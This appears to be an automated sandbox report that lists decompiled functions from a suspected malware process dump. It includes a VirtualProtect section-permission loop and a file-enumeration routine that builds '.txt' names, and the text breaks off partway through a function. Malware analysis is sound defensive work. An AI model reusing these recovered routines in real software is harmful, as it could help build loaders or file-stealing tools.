Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 4633786db3e33e5dce07f88b6563603ada313904b9040955c530b735427eb1c7
Instruction ID: d260c9ee18c75996a78702b519a63515fc5b031bc90342562040a06168b6e922
Opcode Fuzzy Hash: 4633786db3e33e5dce07f88b6563603ada313904b9040955c530b735427eb1c7
Instruction Fuzzy Hash: B531A4F5700B148ED320AFB5E8811ABB7E6BF46314741453FE0AE92240D77CA4868F57

Uniqueness

Uniqueness Score: -1.00%

Function 004265B0 Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004265B0(void* __esi) {
				intOrPtr _t26;
				intOrPtr* _t31;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t42;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t48;

				_t47 = __esi;
				do {
					_t26 =  *((intOrPtr*)(_t47 + 0x6af84));
					_t46 =  *((intOrPtr*)(_t47 + 0x6af70)) - _t26 -  *((intOrPtr*)(_t47 + 0x6af90));
					if(_t46 != 0xffffffff) {
						if(_t26 >= 0xfefa &&  *((intOrPtr*)(_t47 + 0x6af78)) != 0) {
							L00429D20(_t47 + 0x1af70, _t47 + 0x22f70, 0x8000);
							 *((intOrPtr*)(_t47 + 0x6af88)) =  *((intOrPtr*)(_t47 + 0x6af88)) + 0xffff8000;
							 *((intOrPtr*)(_t47 + 0x6af84)) =  *((intOrPtr*)(_t47 + 0x6af84)) + 0xffff8000;
							_t48 = _t48 + 0xc;
							 *((intOrPtr*)(_t47 + 0x6af74)) =  *((intOrPtr*)(_t47 + 0x6af74)) + 0xffff8000;
							_t31 = _t47 + 0x4af70;
							_t42 = 0x8000;
							do {
								_t35 =  *_t31;
								if(_t35 < 0x8000) {
									_t36 = 0;
								} else {
									_t36 = _t35 + 0xffff8000;
								}
								 *_t31 = _t36;
								_t31 = _t31 + 4;
								_t42 = _t42 - 1;
							} while (_t42 != 0);
							_t32 = _t47 + 0x2af70;
							_t43 = 0x8000;
							do {
								_t37 =  *_t32;
								if(_t37 < 0x8000) {
									_t38 = 0;
								} else {
									_t38 = _t37 + 0xffff8000;
								}
								 *_t32 = _t38;
								_t32 = _t32 + 4;
								_t43 = _t43 - 1;
							} while (_t43 != 0);
							_t46 = _t46 + 0x8000;
						}
					} else {
						_t46 = 0xfffffffe;
					}
					if( *((intOrPtr*)(_t47 + 0x6af8c)) == 0) {
						goto L17;
					}
					break;
					L17:
					_t26 =  *((intOrPtr*)( *((intOrPtr*)(_t47 + 0xc))))(_t47,  *((intOrPtr*)(_t47 + 0x6af84)) + _t47 +  *((intOrPtr*)(_t47 + 0x6af90)) + 0x1af70, _t46); // executed
					_t48 = _t48 + 0xc;
					if(_t26 == 0 || _t26 == 0xffffffff) {
						 *((intOrPtr*)(_t47 + 0x6af8c)) = 1;
					} else {
						 *((intOrPtr*)(_t47 + 0x6af90)) =  *((intOrPtr*)(_t47 + 0x6af90)) + _t26;
					}
				} while ( *((intOrPtr*)(_t47 + 0x6af90)) < 0x106 &&  *((intOrPtr*)(_t47 + 0x6af8c)) == 0);
				return _t26;
			}

0x004265b0
0x004265b1
0x004265b1
0x004265bf
0x004265c8
0x004265d9
0x004265ff
0x00426609
0x0042660f
0x00426615
0x00426618
0x0042661e
0x00426624
0x00426630
0x00426630
0x00426638
0x00426642
0x0042663a
0x0042663a
0x0042663a
0x00426644
0x00426646
0x00426649
0x00426649
0x0042664c
0x00426652
0x00426660
0x00426660
0x00426668
0x00426672
0x0042666a
0x0042666a
0x0042666a
0x00426674
0x00426676
0x00426679
0x00426679
0x0042667c
0x0042667c
0x004265ca
0x004265ca
0x004265ca
0x00426689
0x00000000
0x00000000
0x00000000
0x0042668b
0x004266a6
0x004266a8
0x004266ad
0x004266bc
0x004266b4
0x004266b4
0x004266b4
0x004266c6
0x004266e0

APIs

_memmove.LIBCMT ref: 004265FF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: fa4a8fe01938314e3081e2707b855cdea355b77d7e8fdb9f4bef92c72c860073
Instruction ID: ad7b33fcf25170cecbe2ad2f590ec5d31b198c8b348bce804547d18b713ee09a
Opcode Fuzzy Hash: fa4a8fe01938314e3081e2707b855cdea355b77d7e8fdb9f4bef92c72c860073
Instruction Fuzzy Hash: BB31B3B1710A108BD7248B74E44479773A6FB42310F92063ED06B922D4E77C6846CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00404C50 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404C50(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _t14;
				signed int _t16;
				signed int _t18;
				long _t19;
				int _t21;
				void* _t25;
				void* _t34;
				unsigned int* _t37;

				_t34 = __edi;
				_t14 =  *((intOrPtr*)(__edi + 0x138));
				_t25 = 0;
				if(0 >=  *((intOrPtr*)(__edi + 0x46))) {
					L13:
					return 0;
				} else {
					_t37 = _t14 + 0x24;
					do {
						_t16 =  *_t37;
						if((_t16 & 0x00000020) != 0) {
							 *_t37 = _t16 | 0x60000000;
						}
						_t18 =  *_t37 >> 0x1d;
						if(_t18 > 6) {
							L10:
							_t19 = 0x40;
						} else {
							switch( *((intOrPtr*)(_t18 * 4 +  &M00404CF0))) {
								case 0:
									goto L11;
								case 1:
									_t19 = 0x10;
									goto L11;
								case 2:
									goto L11;
								case 3:
									goto L11;
								case 4:
									goto L10;
							}
						}
						L11:
						_v8 = _t19;
						_t21 = VirtualProtect( *((intOrPtr*)(_t37 - 0x18)) +  *((intOrPtr*)(_t34 + 0x144)),  *(_t37 - 0x1c), _t19,  &_v8); // executed
						if(_t21 == 0) {
							return 9;
						} else {
							goto L12;
						}
						goto L15;
						L12:
						_t25 = _t25 + 1;
						_t37 =  &(_t37[0xa]);
					} while (_t25 < ( *(_t34 + 0x46) & 0x0000ffff));
					goto L13;
				}
				L15:
			}

0x00404c50
0x00404c54
0x00404c5d
0x00404c64
0x00404cdb
0x00404ce2
0x00404c66
0x00404c66
0x00404c70
0x00404c70
0x00404c74
0x00404c7b
0x00404c7b
0x00404c7f
0x00404c85
0x00404caa
0x00404caa
0x00404c87
0x00404c87
0x00000000
0x00000000
0x00000000
0x00404c8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c87
0x00404caf
0x00404cb3
0x00404cc5
0x00404ccd
0x00404ced
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ccf
0x00404cd3
0x00404cd4
0x00404cd7
0x00000000
0x00404c70
0x00000000

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 00404CC5

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6be9ef775f0df02f8f28e195f0da99a3d45ba9d4fc31df5965d152db1c28e469
Instruction ID: 91326f3a31eb7f7f51d28f40cccecc77f7b9d55199d2c1f7ba03f785b2ecafa6
Opcode Fuzzy Hash: 6be9ef775f0df02f8f28e195f0da99a3d45ba9d4fc31df5965d152db1c28e469
Instruction Fuzzy Hash: EB11C2B16191149BE724CF59D880BA6F3D8FB88304F11053EEB49D7280D23DAC61979A

Uniqueness

Uniqueness Score: -1.00%

Function 00420690 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00420690(void* __edi, intOrPtr _a4, char* _a8) {
				char _v8;
				char _v16;
				char _v20;
				char _v92;
				char _v168;
				char _v172;
				void* __ecx;
				void* __esi;
				signed int _t28;
				long long _t41;
				intOrPtr _t52;
				signed int _t54;
				void* _t55;

				_push(0xffffffff);
				_push(E0043E87F);
				_push( *[fs:0x0]);
				_t28 =  *0x450664; // 0x30e242aa
				_push(_t28 ^ _t54);
				 *[fs:0x0] =  &_v16;
				_t52 = _a4;
				_v8 = 0;
				_v20 = 0;
				L00421C60(_t28 ^ _t54,  &_v172);
				_v8 = 1;
				 *((intOrPtr*)(_t55 - 0x9c)) = _a8;
				E00421120( &_v172, _t41); // executed
				L00421D40( &_v172,  &_v172, _t52);
				_v20 = 1;
				_a8 =  &_v92;
				 *((intOrPtr*)(_t54 +  *((intOrPtr*)(_v172 + 4)) - 0xa8)) = 0x44b7f4;
				_v8 = 2;
				L00421690( &_v168, __edi);
				_v8 = 0;
				_t21 = _v172 + 4; // 0x0
				 *((intOrPtr*)(_t54 +  *_t21 - 0xa8)) = 0x44b7a4;
				_v92 = 0x44b35c;
				E00429239( &_v92);
				 *[fs:0x0] = _v16;
				return _t52;
			}

0x00420693
0x00420695
0x004206a0
0x004206a8
0x004206af
0x004206b3
0x004206b9
0x004206c2
0x004206ca
0x004206d1
0x004206d6
0x004206e7
0x004206eb
0x004206f6
0x00420707
0x0042070e
0x00420711
0x00420722
0x00420729
0x0042072e
0x00420738
0x0042073e
0x0042074a
0x00420751
0x0042075e
0x0042076a

APIs

Part of subcall function 00421120: std::_Lockit::_Lockit.LIBCPMT ref: 004211D1

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00420751

Part of subcall function 00429239: std::ios_base::_Tidy.LIBCPMT ref: 0042925A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::ios_base::_$Ios_base_dtorLockitLockit::_Tidystd::_
String ID:
API String ID: 3925221016-0
Opcode ID: 5d989677788e934fb0ad076826dfeb92704ff5d0c52dc7ee32899065be24b756
Instruction ID: cff643485c8803657137d4c13dea4987f170146e21eabb56c1c6d3b63c3e696e
Opcode Fuzzy Hash: 5d989677788e934fb0ad076826dfeb92704ff5d0c52dc7ee32899065be24b756
Instruction Fuzzy Hash: F5218174A00258EFCB10DF95D844BDDBBB4FF05318F10819AE81867241D778AA48CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004329B4 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E004329B4(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0x452018, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x45267c;
					if( *0x45267c == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E004318E4(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E0042F37B(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x004329b9
0x004329be
0x004329db
0x004329e0
0x004329e2
0x004329e4
0x004329e6
0x004329e6
0x004329e6
0x00000000
0x004329ee
0x004329f7
0x004329fd
0x004329ff
0x00000000
0x00000000
0x00432a33
0x00432a35
0x00000000
0x00432a01
0x00432a01
0x00432a08
0x00432a26
0x00432a29
0x00432a2b
0x00432a2d
0x00432a2d
0x00432a0a
0x00432a0b
0x00432a11
0x00432a13
0x004329e7
0x004329e7
0x004329e9
0x004329ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00432a15
0x00432a15
0x00432a18
0x00432a1a
0x00432a1c
0x00432a1c
0x00432a22
0x00432a22
0x00432a13
0x00000000
0x004329c0
0x004329c4
0x004329c7
0x004329ca
0x00000000
0x004329cc
0x004329d1
0x004329da
0x004329da
0x004329ca
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 004329F7

Part of subcall function 0042F37B: __getptd_noexit.LIBCMT ref: 0042F37B

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 00dc4d4c1200b6b748df1ab87777ac32d0e9f03ac248a1573fafa8143af133f8
Instruction ID: b4a17e8736a47a73e3a8bbb2020622cc0c4130102db57bc20119679639aee07e
Opcode Fuzzy Hash: 00dc4d4c1200b6b748df1ab87777ac32d0e9f03ac248a1573fafa8143af133f8
Instruction Fuzzy Hash: 0701D4313053159BEB39AF25DE54BAB33A4AF89760F04552BE916CA2D0D7F8C801C798

Uniqueness

Uniqueness Score: -1.00%

Function 0042A6FB Relevance: 1.5, APIs: 1, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042A6FB(signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _t10;
				signed int _t16;

				_t20 = _a12;
				if(_a12 != 0) {
					_t16 = _a4;
					__eflags = _t16;
					if(__eflags == 0) {
						L4:
						 *((intOrPtr*)(E0042F37B(__eflags))) = 0x16;
						goto L9;
					} else {
						__eflags = _a8;
						if(__eflags > 0) {
							_t10 = E0042A631(0x431cb1, _t16, _a8, _a12, _a16, _a20); // executed
							__eflags = _t10;
							if(_t10 < 0) {
								 *_t16 = 0;
							}
							__eflags = _t10 - 0xfffffffe;
							if(__eflags == 0) {
								 *((intOrPtr*)(E0042F37B(__eflags))) = 0x22;
								L9:
								_t10 = L00431BFA() | 0xffffffff;
								__eflags = _t10;
							}
						} else {
							goto L4;
						}
					}
					return _t10;
				} else {
					 *((intOrPtr*)(E0042F37B(_t20))) = 0x16;
					return L00431BFA() | 0xffffffff;
				}
			}

0x0042a700
0x0042a704
0x0042a71c
0x0042a71f
0x0042a721
0x0042a729
0x0042a72e
0x00000000
0x0042a723
0x0042a723
0x0042a727
0x0042a748
0x0042a750
0x0042a752
0x0042a754
0x0042a754
0x0042a757
0x0042a75a
0x0042a761
0x0042a767
0x0042a76c
0x0042a76c
0x0042a76c
0x00000000
0x00000000
0x00000000
0x0042a727
0x0042a771
0x0042a706
0x0042a70b
0x0042a71a
0x0042a71a

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 6be1296a71541560c8ba3b16b3f7a5908abb52060a5d670c5ec68bfa23b09832
Instruction ID: f533a5f8927f67ad42bf3df383855e57259155ec15572319e62862bf95c8b079
Opcode Fuzzy Hash: 6be1296a71541560c8ba3b16b3f7a5908abb52060a5d670c5ec68bfa23b09832
Instruction Fuzzy Hash: B7F0D1316006689BCF112FA5AC0179A3A749F41778F88126BFD28462E1D778C47097AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407AA0 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407AA0(intOrPtr _a8, intOrPtr _a12) {
				void* _t4;

				_t4 = E0042A93E(_a8, _a8, _a12); // executed
				return _t4;
			}

0x00407aab
0x00407ab4

APIs

_calloc.LIBCMT ref: 00407AAB

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 4b83e49727f144fe8e21bb979b8f04659eaa4bbba0c5eb06df4d099906e49ea6
Instruction ID: 5097b4032c3b3d2539eaac4b36d17e4a30e21ebc775f87873ea4682c9da66262
Opcode Fuzzy Hash: 4b83e49727f144fe8e21bb979b8f04659eaa4bbba0c5eb06df4d099906e49ea6
Instruction Fuzzy Hash: 82B09BF555030C578A049F55AC41C66739C5744514B404415FD1D47301D535FD604975

Uniqueness

Uniqueness Score: -1.00%

Function 00430DD7 Relevance: 1.5, APIs: 1, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00430DD9

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: d0487403f250b7e04db3b263f9e78d8f2180fcf50afa0132d4912043fcce31f8
Instruction ID: 600711cbf8ba98dba92a39526f7befa8a90120eaa3f0e3586f919acb67c3089d
Opcode Fuzzy Hash: d0487403f250b7e04db3b263f9e78d8f2180fcf50afa0132d4912043fcce31f8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00417370 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 187fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004173C0
FindFirstFileA.KERNEL32(?,?), ref: 004173D7
StrCmpCA.SHLWAPI(?,0044A810), ref: 004173FC
StrCmpCA.SHLWAPI(?,0044A814), ref: 00417416
wsprintfA.USER32 ref: 0041743E
StrCmpCA.SHLWAPI(?,0509CDB8), ref: 00417454
StrCmpCA.SHLWAPI(?,0509B338), ref: 0041749B

Part of subcall function 004165E0: _memset.LIBCMT ref: 0041661C
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,050987D8,?,004485E7,0041B84A), ref: 00416632
Part of subcall function 004165E0: _malloc.LIBCMT ref: 0041663A
Part of subcall function 004165E0: GetTickCount.KERNEL32 ref: 00416647
Part of subcall function 004165E0: _rand.LIBCMT ref: 00416660
Part of subcall function 004165E0: wsprintfA.USER32 ref: 00416675
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,00000000), ref: 0041668D
Part of subcall function 004165E0: _memset.LIBCMT ref: 004166B0
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,004485EC), ref: 004166C4
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,05098440), ref: 004166D7
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,004485EC), ref: 004166E9
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,?), ref: 004166FD
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,0044AC7C), ref: 0041670F
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,?), ref: 00416723
Part of subcall function 004165E0: lstrcatA.KERNEL32(?,.txt), ref: 00416735

Part of subcall function 00417370: StrCmpCA.SHLWAPI(?,05098AC0), ref: 004174F4

FindNextFileA.KERNEL32(?,?), ref: 004175C4
FindClose.KERNEL32(?), ref: 004175D9

Strings

%s\*, xrefs: 004173A8
%s\%s, xrefs: 00417438

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Findwsprintf$File_memset$CloseCountFirstNextTick_malloc_rand
String ID: %s\%s$%s\*
API String ID: 2973686490-2848263008
Opcode ID: 84434fc6836795699b147f6d6f67d04b8faf663de6f6925280836099262f991e
Instruction ID: e64876aa457064b5c69f07b6e7d359f9a397bec7ebb33b8641512e8d740d64ca
Opcode Fuzzy Hash: 84434fc6836795699b147f6d6f67d04b8faf663de6f6925280836099262f991e
Instruction Fuzzy Hash: DE617EB291021CABCB25DF64DC85EEBB7BDBB48745F04819EB50A93241E6349F84CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00409290 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 498
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00409290(intOrPtr* __ecx, signed int __edx, intOrPtr _a4) {
				signed int _v12;
				char _v280;
				char _v544;
				struct _SYSTEMTIME _v560;
				signed char _v561;
				signed char _v562;
				signed char _v563;
				signed char _v564;
				char _v566;
				char _v567;
				char _v568;
				char _v572;
				signed int _v576;
				intOrPtr* _v580;
				struct _FILETIME _v588;
				struct _FILETIME _v596;
				struct _FILETIME _v604;
				unsigned int _v636;
				intOrPtr _v660;
				intOrPtr _v664;
				signed int _v672;
				unsigned int _v688;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				intOrPtr _t178;
				signed int _t185;
				char* _t186;
				signed int _t187;
				void* _t188;
				signed int _t192;
				signed int _t193;
				signed int _t194;
				signed int _t195;
				signed int _t196;
				unsigned int _t198;
				signed char _t200;
				signed int _t202;
				long _t210;
				signed int _t217;
				signed char _t218;
				signed int _t234;
				signed int _t243;
				intOrPtr _t254;
				signed int _t257;
				signed int _t259;
				intOrPtr* _t269;
				signed int _t283;
				signed char _t292;
				signed int _t294;
				signed int _t300;
				signed int _t324;
				signed int _t334;
				signed char _t342;
				signed int _t362;
				signed int _t364;
				signed int _t365;
				intOrPtr* _t374;
				void* _t376;
				intOrPtr* _t377;
				signed int _t378;
				intOrPtr _t379;
				signed int _t380;
				void* _t381;
				void* _t382;
				void* _t384;
				void* _t385;
				void* _t386;

				_t333 = __edx;
				_t176 =  *0x450664; // 0x30e242aa
				_v12 = _t176 ^ _t380;
				_t178 = _a4;
				_t268 = __ecx;
				_t377 = __edx;
				_v580 = __ecx;
				_v576 = __edx;
				if(_t178 < 0xffffffff) {
					L72:
					__eflags = _v12 ^ _t380;
					return E00429B16(0x10000, _t268, _v12 ^ _t380, _t333, _t371, _t377);
				} else {
					_t371 =  *__ecx;
					if(_t178 >=  *((intOrPtr*)( *__ecx + 4))) {
						goto L72;
					} else {
						if( *((intOrPtr*)(__ecx + 4)) != 0xffffffff) {
							E00409160(__ecx, _t371);
							_t178 = _a4;
						}
						_t268[1] = 0xffffffff;
						if(_t178 != _t268[0x4d]) {
							__eflags = _t178 - 0xffffffff;
							if(_t178 != 0xffffffff) {
								_t378 =  *_t268;
								__eflags = _t178 -  *((intOrPtr*)(_t378 + 0x10));
								if(_t178 <  *((intOrPtr*)(_t378 + 0x10))) {
									E00408950(_t378);
									_t178 = _a4;
								}
								_t334 =  *_t268;
								__eflags =  *((intOrPtr*)(_t334 + 0x10)) - _t178;
								if( *((intOrPtr*)(_t334 + 0x10)) < _t178) {
									do {
										_t378 =  *_t268;
										__eflags = _t378;
										if(_t378 != 0) {
											__eflags =  *(_t378 + 0x18);
											if( *(_t378 + 0x18) != 0) {
												_t254 =  *((intOrPtr*)(_t378 + 0x10)) + 1;
												__eflags = _t254 -  *((intOrPtr*)(_t378 + 4));
												if(_t254 !=  *((intOrPtr*)(_t378 + 4))) {
													 *((intOrPtr*)(_t378 + 0x14)) =  *((intOrPtr*)(_t378 + 0x14)) +  *((intOrPtr*)(_t378 + 0x50)) +  *((intOrPtr*)(_t378 + 0x4c)) +  *((intOrPtr*)(_t378 + 0x48)) + 0x2e;
													 *((intOrPtr*)(_t378 + 0x10)) = _t254;
													_t257 = L00408550(_t378, _t378 + 0x28, _t378 + 0x78, 0, 0);
													_t381 = _t381 + 0x10;
													asm("sbb eax, eax");
													_t259 = 1 +  ~_t257;
													__eflags = _t259;
													 *(_t378 + 0x18) = _t259;
												}
											}
										}
										_t324 =  *_t268;
										__eflags =  *((intOrPtr*)(_t324 + 0x10)) - _a4;
									} while ( *((intOrPtr*)(_t324 + 0x10)) < _a4);
								}
								L00408550( *_t268,  &_v688, 0,  &_v280, 0x104);
								_t372 =  *_t268;
								_t185 = E00408AE0( *_t268,  &(_v588.dwHighDateTime),  &_v568,  &_v572);
								_t382 = _t381 + 0x1c;
								__eflags = _t185;
								if(_t185 == 0) {
									_t336 =  *_t268;
									_t186 =  *( *_t268);
									__eflags =  *_t186;
									if(__eflags == 0) {
										 *((intOrPtr*)(_t186 + 0x1c)) = _v568;
										goto L23;
									} else {
										__eflags =  *((char*)(_t186 + 1));
										if(__eflags == 0) {
											L25:
											__eflags = _v12 ^ _t380;
											return E00429B16(0x800, _t268, _v12 ^ _t380, _t336, _t372, _t378);
										} else {
											SetFilePointer( *(_t186 + 4),  *((intOrPtr*)(_t186 + 0xc)) + _v568, 0, 0);
											L23:
											_push(_v572);
											_t187 = E004290CB(_v572, _t378, __eflags);
											_t336 =  *_t268;
											_t378 = _t187;
											_t372 =  *( *_t268);
											_t268 = 1;
											_t188 = L00407FC0(1, _t372, _t378, _v572);
											_t384 = _t382 + 0xc;
											__eflags = _t188 - _v572;
											if(_t188 == _v572) {
												_t269 = _v576;
												 *_t269 =  *((intOrPtr*)( *_v580 + 0x10));
												E0042A980( &_v544,  &_v280);
												_t385 = _t384 + 8;
												_t374 =  &_v544;
												while(1) {
													_t192 =  *_t374;
													__eflags = _t192;
													if(_t192 == 0) {
